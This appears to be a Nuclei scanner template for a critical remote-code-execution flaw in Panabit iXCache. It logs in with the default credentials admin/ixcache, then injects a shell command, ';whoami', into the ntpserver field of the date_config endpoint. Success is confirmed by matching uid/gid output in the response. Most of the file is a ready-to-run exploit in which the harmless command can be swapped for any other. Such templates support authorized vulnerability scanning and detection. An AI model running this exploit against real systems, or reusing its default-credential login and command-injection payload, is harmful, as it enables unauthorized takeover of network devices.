58 lines
1.9 KiB
YAML
58 lines
1.9 KiB
YAML
id: panabit-ixcache-rce
|
|
|
|
info:
|
|
name: Panabit iXCache date_config - Remote Code Execution
|
|
author: momika233
|
|
severity: critical
|
|
description: |
|
|
Panabit iXCache date_config module has command splicing, resulting in the execution of arbitrary commands.
|
|
reference:
|
|
- https://github.com/Threekiii/Awesome-POC/blob/master/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/Panabit%20iXCache%20date_config%20%E5%90%8E%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
|
|
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/iot/Panabit/Panabit%20iXCache%20date_config%20%E5%90%8E%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
|
|
metadata:
|
|
max-request: 2
|
|
fofa-qeury: title="iXCache"
|
|
veified: true
|
|
tags: panabit,rce,ixcache,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /login/userverify.cgi HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
username={{username}}&password={{password}}
|
|
- |
|
|
POST /cgi-bin/Maintain/date_config HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
ntpserver=0.0.0.0;whoami&year=2021&month=08&day=14&hour=17&minute=04&second=50&tz=Asiz&bcy=Shanghai&ifname=fxp1
|
|
|
|
cookie-reuse: true
|
|
attack: pitchfork
|
|
payloads:
|
|
username:
|
|
- admin
|
|
password:
|
|
- ixcache
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+) groups=([0-9(a-z)]+)"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a0047304502200a1273db2d175dd453ce6856aaa79086017d7f9d05c2a32f1112a5e3291d8b4b022100f65d8ba25a748d30f3c29d8b24e54dd6c4c3d5ecdf0cf00e7d6d7a9dd026c6f4:922c64590222798bb761d5b6d8e72950
|